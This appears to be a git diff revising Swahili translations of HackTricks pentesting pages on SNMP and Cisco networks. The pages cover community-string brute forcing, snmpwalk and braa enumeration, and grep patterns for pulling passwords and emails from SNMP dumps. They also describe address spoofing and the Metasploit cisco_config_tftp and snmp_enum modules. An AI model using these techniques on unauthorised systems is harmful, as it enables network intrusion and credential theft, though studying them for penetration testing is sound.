* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -1,4 +1,4 @@
# 161,162,10161,10162/udp - Pentesting SNMP
# 161,162,10161,10162/udp - Kupima Usalama wa SNMP
<details>
@ -14,9 +14,9 @@ Njia nyingine za kusaidia HackTricks:
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya kudukua** na kudukua yasiyodukuliwa - **tunahitaji wafanyakazi!** (_ujuzi wa Kipolishi wa kuandika na kuzungumza unahitajika_).
Ikiwa una nia ya **kazi ya kudukua** na kudukua vitu visivyodukika - **tunakupa kazi!** (_inahitajika uwezo wa kuzungumza na kuandika Kipolishi kwa ufasaha_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -33,21 +33,21 @@ SNMP pia hutumia bandari **162/UDP** kwa **traps**. Hizi ni **pakiti za data zin
### MIB
Ili kuhakikisha kwamba ufikiaji wa SNMP unafanya kazi kati ya watengenezaji tofauti na na mchanganyiko tofauti wa mteja-seva, **Management Information Base (MIB)** ilianzishwa. MIB ni **muundo huru wa kuhifadhi habari za kifaa**. MIB ni faili ya **maandishi** ambapo vitu vyote vinavyoweza kuulizwa vya SNMP vya kifaa vimeorodheshwa katika **hiraki ya mti iliyostandadishwa**. Ina **angalau `Object Identifier` (`OID`)** moja, ambayo, pamoja na **anwani ya kipekee** na **jina**, pia hutoa habari kuhusu aina, haki za ufikiaji, na maelezo ya kila kifaa.\
Faili za MIB huandikwa katika muundo wa maandishi wa ASCII uliojengwa kwenye `Abstract Syntax Notation One` (`ASN.1`). **MIB hazina data**, lakini zinaeleza **wapi kupata habari gani** na inaonekanaje, ambayo inarudisha thamani kwa OID maalum, au aina gani ya data inayotumiwa.
Ili kuhakikisha kwamba ufikiaji wa SNMP unafanya kazi kati ya watengenezaji tofauti na na mchanganyiko tofauti wa mteja-seva, **Management Information Base (MIB)** ilianzishwa. MIB ni **muundo huru wa kuhifadhi habari za kifaa**. MIB ni **faili ya maandishi** ambapo vitu vyote vinavyoweza kuulizwa vya **SNMP** vya kifaa vimeorodheshwa katika **hiraki ya mti iliyostandadishwa**. Ina **angalau `Object Identifier` (`OID`)** moja, ambayo, pamoja na **anwani ya kipekee** inayohitajika na **jina**, pia hutoa habari kuhusu aina, haki za ufikiaji, na maelezo ya kifaa husika.\
Faili za MIB huandikwa katika muundo wa maandishi wa ASCII uliojengwa kwenye `Abstract Syntax Notation One` (`ASN.1`). **MIB hazina data**, lakini zinaeleza **wapi kupata habari gani** na inaonekanaje, ambayo hurejesha thamani kwa OID maalum, au aina gani ya data inayotumiwa.
### OIDs
**Identifiers za Vitu (OIDs)** zina jukumu muhimu. Identifiers hizi za kipekee zimedhamiriwa kusimamia vitu ndani ya **Management Information Base (MIB)**.
Viwango vya juu vya IDs za vitu za MIB, au OIDs, zimetengwa kwa mashirika tofauti yanayoweka viwango. Ni katika viwango hivi vya juu ambapo mfumo wa mazoea ya usimamizi wa ulimwengu na viwango unawekwa.
Viwango vya juu zaidi vya IDs za vitu vya MIB, au OIDs, vinatengwa kwa mashirika tofauti yanayoweka viwango. Ni katika viwango hivi vya juu ambapo mfumo wa mazoea ya usimamizi wa ulimwengu na viwango unawekwa.
Zaidi ya hayo, wauzaji wanaruhusiwa kuanzisha matawi binafsi. Ndani ya matawi haya, wana **uhuru wa kujumuisha vitu vinavyosimamiwa vinavyohusiana na mistari yao ya bidhaa wenyewe**. Mfumo huu unahakikisha kuwa kuna njia iliyopangwa na iliyoandaliwa ya kutambua na kusimamia anuwai ya vitu kati ya wauzaji tofauti na viwango.
Zaidi ya hayo, wauzaji wanapewa uhuru wa kuanzisha matawi binafsi. Ndani ya matawi haya, wana **uhuru wa kujumuisha vitu vinavyosimamiwa vinavyohusiana na mistari yao ya bidhaa wenyewe**. Mfumo huu unahakikisha kuwa kuna njia iliyopangwa na iliyoandaliwa ya kutambua na kusimamia anuwai ya vitu kati ya wauzaji tofauti na viwango.
![](../../.gitbook/assets/snmp_oid_mib_tree.png)
Unaweza **kuvinjari** kupitia **mti wa OID** kutoka kwenye wavuti hapa: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) au **kuona maana ya OID** (kama vile `1.3.6.1.2.1.1`) kwa kufikia [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
Kuna **OIDs maarufu** kama zile ndani ya [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) ambayo inahusisha MIB-2 iliyoundwa na Simple Network Management Protocol (SNMP) variables. Na kutoka kwa **OIDs zinazotarajiwa kutoka kwa hii** unaweza kupata data muhimu ya mwenyeji (data ya mfumo, data ya mtandao, data ya michakato...)
Kuna **OIDs maarufu** kama zile ndani ya [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) ambayo inahusisha vitu vilivyoelezwa na MIB-2 ya Simple Network Management Protocol (SNMP). Na kutoka kwa **OIDs zinazotarajiwa kutoka kwa hii** unaweza kupata data muhimu ya mwenyeji (data ya mfumo, data ya mtandao, data ya michakato...)
### **Mfano wa OID**
@ -86,35 +86,35 @@ Thamani zilizobaki hutoa habari maalum kuhusu kifaa.
Kuna matoleo 2 muhimu ya SNMP:
* **SNMPv1**: Kuu, bado ni ya kawaida zaidi, **uthibitisho unategemea herufi** (herufi ya jumuiya) ambayo inasafiri kwa **maandishi wazi** (habari yote inasafiri kwa maandishi wazi). **Toleo 2 na 2c** hutoa **trafiki kwa maandishi wazi** pia na hutumia **herufi ya jumuiya kama uthibitisho**.
* **SNMPv3**: Hutumia **mfumo bora wa uthibitisho** na habari inasafiri **imefichwa** (shambulio la kamusi linaweza kufanywa lakini itakuwa ngumu zaidi kupata uthibitisho sahihi kuliko katika SNMPv1 na v2).
* **SNMPv1**: Kuu, bado ni ya kawaida zaidi, **uthibitisho unategemea herufi** (herufi ya jamii) ambayo inasafiri kwa **maandishi wazi** (habari yote inasafiri kwa maandishi wazi). **Toleo 2 na 2c** hutoa **trafiki kwa maandishi wazi** pia na hutumia **herufi ya jamii kama uthibitisho**.
* **SNMPv3**: Hutumia **mfumo bora wa uthibitisho** na habari inasafiri **imefichwa** (shambulio la orodha ya maneno linaweza kufanywa lakini itakuwa ngumu zaidi kupata uthibitisho sahihi kuliko katika SNMPv1 na v2).
### Herufi za Jumuiya
### Herufi za Jamii
Kama ilivyotajwa awali, **ili kupata habari iliyohifadhiwa kwenye MIB unahitaji kujua herufi ya jumuiya kwenye matoleo 1 na 2/2c na sifa kwenye toleo 3.**\
Kuna **aina 2 za herufi za jumuiya**:
Kama ilivyotajwa awali, **ili kupata habari iliyohifadhiwa kwenye MIB unahitaji kujua herufi ya jamii kwenye matoleo 1 na 2/2c na sifa kwenye toleo 3.**\
Kuna **aina 2 za herufi za jamii**:
* **`public`** hasa **kazi za kusoma tu**
* **`private`** **Soma/Andika** kwa ujumla
Tambua kwamba **uandishi wa OID unategemea herufi ya jumuiya iliyotumiwa**, hivyo **hata** kama unagundua kwamba "**public**" inatumika, unaweza kuwa na uwezo wa **kuandika baadhi ya thamani.** Pia, **inaweza** kuwepo vitu ambavyo ni **"Soma tu daima".**\
Ikiwa unajaribu **kuandika** kifaa, utapokea **kosa la `noSuchName` au `readOnly`**\*\*.\*\*
Tambua kwamba **uandikaji wa OID unategemea herufi ya jamii iliyotumiwa**, hivyo **hata** ikiwa unagundua kwamba "**public**" inatumika, unaweza kuwa na uwezo wa **kuandika baadhi ya thamani.** Pia, **inaweza** kuwepo vitu ambavyo ni **"Soma tu daima".**\
Ikiwa unajaribu **kuandika** kipengee, utapokea **kosa la `noSuchName` au `readOnly`**\*\*.\*\*
Katika matoleo 1 na 2/2c ikiwa unatumia herufi mbaya ya jumuiya seva haitajibu. Kwa hivyo, ikiwa inajibu, herufi sahihi ya jumuiya ilitumiwa.
Katika matoleo 1 na 2/2c ikiwa unatumia herufi mbaya ya jamii, seva haitajibu. Kwa hivyo, ikiwa inajibu, herufi sahihi ya jamii ilitumika.
## Bandari
[Kutoka Wikipedia](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol):
* Mawakala wa SNMP hupokea maombi kwenye bandari ya UDP **161**.
* Meneja hupokea arifa ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) na [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) kwenye bandari **162**.
* Mnunuzi wa SNMP hupokea maombi kwenye bandari ya UDP **161**.
* Mnunuzi hupokea arifa ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) na [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) kwenye bandari **162**.
* Inapotumiwa na [Usalama wa Tabaka la Usafirishaji](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) au [Usalama wa Tabaka la Usafirishaji wa Datagram](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), maombi hupokelewa kwenye bandari **10161** na arifa hutumwa kwenye bandari **10162**.
## Kuvunja Nguvu ya Herufi ya Jumuiya (v1 na v2c)
## Kuvunja Neno la Siri kwa Nguvu (v1 na v2c)
Kutumia **shambulio la kamusi** unaweza **kudhanua herufi ya jumuiya**. Angalia [hapa njia tofauti za kufanya shambulio la kuvunja nguvu dhidi ya SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Herufi ya jumuiya inayotumiwa mara kwa mara ni `public`.
Kutumia **shambulio la orodha ya maneno** unaweza **kudhanii herufi ya jamii**. Angalia [hapa njia tofauti za kufanya shambulio la orodha ya maneno dhidi ya SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Herufi ya jamii inayotumiwa mara nyingi ni `public`.
## Kuhesabu SNMP
## Kuchambua SNMP
Inapendekezwa kufunga yafuatayo kuona maana ya **kila OID iliyokusanywa** kutoka kwa kifaa:
```bash
@ -143,34 +143,34 @@ Kupitia maswali marefu (download-mibs), inawezekana kuchunguza zaidi kuhusu mfum
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
**SNMP** ina habari nyingi kuhusu mwenyeji na vitu ambavyo unaweza kuona kuwa vya kuvutia ni: **Vifaa vya mtandao** (anwani za IPv4 na **IPv6**), Majina ya watumiaji, Muda wa Uptime, Seva/Toleo la OS, na **mchakato** (unaweza kuwa na nywila)....
**SNMP** ina habari nyingi kuhusu mwenyeji na vitu ambavyo unaweza kuona kuwa vya kuvutia ni: **Violesura vya Mtandao** (anwani za IPv4 na **IPv6**), Majina ya watumiaji, Muda wa Uendeshaji, Seva/Toleo la OS, na **mchakato** (unaweza kuwa na nywila)....
### **Mipangilio Hatari**
### **Vipimo Hatari**
Katika uwanja wa usimamizi wa mtandao, mipangilio na vigezo fulani ni muhimu kuhakikisha ufuatiliaji na udhibiti kamili.
### Mipangilio ya Kufikia
### Vipimo vya Kufikia
Mipangilio makuu mawili huruhusu ufikiaji wa **mti kamili wa OID**, ambao ni sehemu muhimu katika usimamizi wa mtandao:
Mipangilio makuu mawili inaruhusu ufikiaji wa **mti kamili wa OID**, ambao ni sehemu muhimu katika usimamizi wa mtandao:
1. **`rwuser noauth`** imewekwa kuruhusu ufikiaji kamili wa mti wa OID bila haja ya uthibitisho. Mipangilio hii ni rahisi na inaruhusu ufikiaji usiozuiliwa.
1. **`rwuser noauth`** imewekwa kuruhusu ufikiaji kamili wa mti wa OID bila haja ya uwakiki. Mipangilio hii ni rahisi na inaruhusu ufikiaji usiozuiliwa.
2. Kwa udhibiti maalum zaidi, ufikiaji unaweza kuruhusiwa kwa kutumia:
* **`rwcommunity`** kwa anwani za **IPv4**, na
* **`rwcommunity6`** kwa anwani za **IPv6**.
Amri zote mbili zinahitaji **herufi za jamii** na anwani sahihi ya IP, zikitoa ufikiaji kamili bila kujali asili ya ombi.
Amri zote mbili zinahitaji **mnyororo wa jamii** na anwani sahihi ya IP, zikitoa ufikiaji kamili bila kujali asili ya ombi.
### Vigezo vya SNMP kwa Microsoft Windows
Mfululizo wa **Theluji ya Taarifa ya Usimamizi (MIB) thamani** hutumiwa kufuatilia sehemu mbalimbali za mfumo wa Windows kupitia SNMP:
Mfululizo wa **Theluji ya Taarifa ya Usimamizi (MIB)** hutumiwa kufuatilia sehemu mbalimbali za mfumo wa Windows kupitia SNMP:
* **Mchakato wa Mfumo**: Kupitia `1.3.6.1.2.1.25.1.6.0`, kipimo hiki kuruhusu ufuatiliaji wa michakato inayofanya kazi ndani ya mfumo.
* **Programu Zinazoendeshwa**: Thamani ya `1.3.6.1.2.1.25.4.2.1.2` imetengwa kufuatilia programu zinazoendeshwa kwa sasa.
* **Njia za Michakato**: Ili kujua mahali ambapo mchakato unafanya kazi kutoka, thamani ya MIB ya `1.3.6.1.2.1.25.4.2.1.4` hutumiwa.
* **Vifaa vya Uhifadhi**: Ufuatiliaji wa vifaa vya uhifadhi unaruhusiwa na `1.3.6.1.2.1.25.2.3.1.4`.
* **Vipimo vya Uhifadhi**: Ufuatiliaji wa vitengo vya uhifadhi unawezeshwa na `1.3.6.1.2.1.25.2.3.1.4`.
* **Jina la Programu**: Ili kutambua programu iliyosakinishwa kwenye mfumo, `1.3.6.1.2.1.25.6.3.1.2` hutumiwa.
* **Akaunti za Mtumiaji**: Thamani ya `1.3.6.1.4.1.77.1.2.25` inaruhusu ufuatiliaji wa akaunti za mtumiaji.
* **Bandari za TCP za Mitaa**: Hatimaye, `1.3.6.1.2.1.6.13.1.3` imetengwa kwa ufuatiliaji wa bandari za TCP za mitaa, ikitoa ufahamu kuhusu uhusiano wa mtandao unaofanya kazi.
* **Bandari za TCP za Mitaa**: Hatimaye, `1.3.6.1.2.1.6.13.1.3` imetengwa kwa ufuatiliaji wa bandari za TCP za mitaa, ikitoa ufahamu wa uhusiano wa mtandao unaofanya kazi.
### Cisco
@ -182,7 +182,7 @@ Tazama ukurasa huu ikiwa una vifaa vya Cisco:
## Kutoka SNMP hadi RCE
Ikiwa una **herufi** inayoruhusu **kuandika thamani** ndani ya huduma ya SNMP, unaweza kutumia vibaya kutekeleza amri:
Ikiwa una **mnyororo** unaoruhusu **kuandika thamani** ndani ya huduma ya SNMP, unaweza kutumia vibaya kutekeleza amri:
{% content-ref url="snmp-rce.md" %}
[snmp-rce.md](snmp-rce.md)
@ -190,15 +190,15 @@ Ikiwa una **herufi** inayoruhusu **kuandika thamani** ndani ya huduma ya SNMP, u
## **SNMP Kubwa**
[Braa ](https://github.com/mteg/braa)ni skana kubwa ya SNMP. Matumizi yanayokusudiwa ya zana kama hiyo ni, bila shaka, kufanya uchunguzi wa SNMP - lakini tofauti na snmpwalk kutoka net-snmp, inaweza kuuliza makumi au mamia ya mwenyeji kwa wakati mmoja, na katika mchakato mmoja. Hivyo, inatumia rasilimali chache sana za mfumo na kufanya uchunguzi HARAKA SANA.
[Braa ](https://github.com/mteg/braa)ni skana kubwa ya SNMP. Matumizi yanayokusudiwa ya zana kama hiyo ni, bila shaka, kufanya uchunguzi wa SNMP - lakini tofauti na snmpwalk kutoka net-snmp, inaweza kuuliza makumi au mamia ya mwenyeji kwa wakati mmoja, na katika mchakato mmoja. Hivyo, inatumia rasilimali chache sana za mfumo na kufanya uchunguzi KWA haraka SANA.
Braa inatekeleza stack yake YA snmp, hivyo HAIHITAJI maktaba yoyote ya SNMP kama net-snmp.
Braa inatekeleza steki yake YA SNMP yenyewe, hivyo HAIHITAJI maktaba yoyote ya SNMP kama net-snmp.
**Syntax:** braa \[Herufi-ya-jamii]@\[IP ya seva ya SNMP]:\[iso id]
**Syntax:** braa \[Mnyororo wa Jamii]@\[IP ya seva ya SNMP]:\[iso id]
```bash
braa ignite123@192.168.1.125:.1.3.6.*
```
Hii inaweza kutoa taarifa nyingi za MB ambazo huwezi kusindika kwa mkono.
Hii inaweza kutoa taarifa nyingi MB ambazo huwezi kusindika kwa mkono.
Kwa hivyo, tafadhali angalia taarifa muhimu zaidi (kutoka [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
@ -208,15 +208,15 @@ Mchakato huanza na uchimbaji wa data ya **sysDesc MIB** (1.3.6.1.2.1.1.1.0) kuto
```bash
grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
### **Tambua String ya Kibinafsi**
### **Tambua String ya Binafsi**
Hatua muhimu inahusisha kutambua **string ya jamii binafsi** inayotumiwa na mashirika, hasa kwenye rutba za Cisco IOS. String hii inawezesha upatikanaji wa **mipangilio inayotumika** kutoka kwenye rutba. Kutambua mara nyingi kunategemea uchambuzi wa data za Mtego wa SNMP kwa neno "mtego" kwa kutumia amri ya **grep**:
Hatua muhimu inahusisha kutambua **string ya jamii binafsi** inayotumiwa na mashirika, hasa kwenye rutuba za Cisco IOS. String hii inawezesha upatikanaji wa **mipangilio inayotumika** kutoka kwenye rutuba. Kutambua mara nyingi kunategemea uchambuzi wa data ya **SNMP Trap** kwa neno "trap" kwa kutumia amri ya **grep**:
```bash
grep -i "trap" *.snmp
```
### **Usernames/Passwords**
Kumbukumbu zilizohifadhiwa ndani ya meza za MIB zinaangaliwa kwa **jaribio lililoshindwa la kuingia**, ambalo linaweza kujumuisha kimakosa nywila zilizoingizwa kama majina ya mtumiaji. Maneno muhimu kama _fail_, _failed_, au _login_ hutafutwa ili kupata data muhimu:
Kumbukumbu zilizohifadhiwa ndani ya meza za MIB huchunguzwa kwa **jaribio lililoshindwa la kuingia**, ambalo linaweza kujumuisha kimakosa nywila zilizoingizwa kama majina ya mtumiaji. Maneno muhimu kama _fail_, _failed_, au _login_ hutafutwa ili kupata data muhimu:
```bash
grep -i "login\|fail" *.snmp
```
@ -230,9 +230,9 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
Unaweza kutumia _**NetScanTools**_ kubadilisha **thamani**. Utahitaji kujua **neno la siri** ili kufanya hivyo.
## Kughushi
## Kudanganya
Ikiwa kuna ACL inayoruhusu anwani fulani za IP kuuliza huduma ya SMNP, unaweza kughushi moja ya anwani hizi ndani ya pakiti ya UDP na kunusa trafiki.
Ikiwa kuna ACL inayoruhusu anwani fulani za IP kuuliza huduma ya SMNP, unaweza kudanganya moja ya anwani hizi ndani ya pakiti ya UDP na kunusa trafiki.
## Angalia faili za Usanidi wa SNMP
@ -240,9 +240,9 @@ Ikiwa kuna ACL inayoruhusu anwani fulani za IP kuuliza huduma ya SMNP, unaweza k
* snmpd.conf
* snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunakupa kazi!** (_ujuzi wa Kipolishi ulioandikwa na kuzungumzwa unahitajika_).
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunakupa kazi!** (_ujuzi wa Kipolishi ulioandikwa na kuzungumzwa vizuri unahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -292,6 +292,6 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -2,44 +2,44 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhack AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya kudukua** na kudukua vitu visivyodukika - **tunakupa kazi!** (_inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha_).
Ikiwa una nia ya **kazi ya kuhack** na kuhack mambo ambayo hayawezi kuhack - **tunakupa kazi!** (_ujuzi wa Kipolishi wa kuandika na kusema unahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
## Kudukua Mtandao wa Cisco
## Pentesting Cisco Networks
**SNMP** inafanya kazi kupitia UDP na bandari 161/UDP kwa ujumbe wa kawaida na 162/UDP kwa ujumbe wa mitego. Itifaki hii inategemea vitambulisho vya jamii, ambavyo ni kama nywila zinazoruhusu mawasiliano kati ya mawakala wa SNMP na seva. Vitambulisho hivi ni muhimu kwa sababu hupanga viwango vya ufikiaji, hasa **ruhusa za kusoma tu (RO) au kusoma-andika (RW)**. Mbinu muhimu ya shambulio kwa wapimaji ni **kudukua vitambulisho vya jamii**, lengo likiwa kuingilia vifaa vya mtandao.
**SNMP** inafanya kazi kupitia UDP na bandari 161/UDP kwa ujumbe wa kawaida na 162/UDP kwa ujumbe wa mitego. Itifaki hii inategemea vitambulisho vya jamii, ambavyo ni kama nywila zinazoruhusu mawasiliano kati ya mawakala wa SNMP na seva. Vitambulisho hivi ni muhimu kwa sababu hupanga viwango vya ufikiaji, hasa **soma tu (RO) au ruhusa ya kusoma na kuandika (RW)**. Mbinu muhimu ya shambulio kwa wapimaji ni **kufanya nguvu ya vitambulisho vya jamii**, lengo likiwa kuingilia vifaa vya mtandao.
Zana halisi ya kutekeleza mashambulio ya kudukua kama hayo ni [**onesixtyone**](https://github.com/trailofbits/onesixtyone), ambayo inahitaji orodha ya vitambulisho vya jamii vinavyowezekana na anwani za IP za malengo:
Zana halisi kwa kutekeleza mashambulio ya nguvu kama hayo ni [**onesixtyone**](https://github.com/trailofbits/onesixtyone), ambayo inahitaji orodha ya vitambulisho vya jamii vinavyowezekana na anwani za IP za malengo:
```bash
onesixtyone -c communitystrings -i targets
```
#### `cisco_config_tftp`
Frameworku ya Metasploit ina kipengele cha `cisco_config_tftp`, kinarahisisha upatikanaji wa mizani ya vifaa, ikitegemea upatikanaji wa neno la jamii la RW. Vigezo muhimu kwa operesheni hii ni pamoja na:
Frameworku ya Metasploit ina kipengele cha `cisco_config_tftp`, kinarahisisha upatikanaji wa mizizi ya vifaa, ikitegemea upatikanaji wa neno la jamii la RW. Vigezo muhimu kwa operesheni hii ni:
* Neno la jamii la RW (**COMMUNITY**)
* IP ya Mshambuliaji (**LHOST**)
* IP ya kifaa cha lengo (**RHOSTS**)
* Njia ya marudio kwa faili za mizani (**OUTPUTDIR**)
* Njia ya marudio kwa mafaili ya mizizi (**OUTPUTDIR**)
Baada ya usanidi, kipengele hiki huwezesha upakuaji wa mipangilio ya kifaa moja kwa moja kwenye folda iliyospecificiwa.
Baada ya usanidi, kipengele hiki huwezesha upakuaji wa mipangilio ya kifaa moja kwa moja hadi folda iliyotajwa.
#### `snmp_enum`
Kipengele kingine cha Metasploit, **`snmp_enum`**, kinajitolea katika kukusanya habari za kina za vifaa vya kimatengenezo. Kinafanya kazi na aina yoyote ya neno la jamii na inahitaji anwani ya IP ya lengo kwa utekelezaji wa mafanikio:
Kipengele kingine cha Metasploit, **`snmp_enum`**, kinajitolea katika kukusanya habari za kina za vifaa vya elektroniki. Kinafanya kazi na aina yoyote ya neno la jamii na inahitaji anwani ya IP ya lengo kwa utekelezaji wa mafanikio:
```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
@ -49,9 +49,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunakupa kazi!** (_ujuzi wa Kipolishi wa kuandika na kusema unahitajika_).
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyodukuzika - **tunakupa kazi!** (_ujuzi wa Kipolishi wa kuandika na kusema unahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -59,10 +59,10 @@ Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunaku
<summary><strong>Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je! Unafanya kazi katika kampuni ya **usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
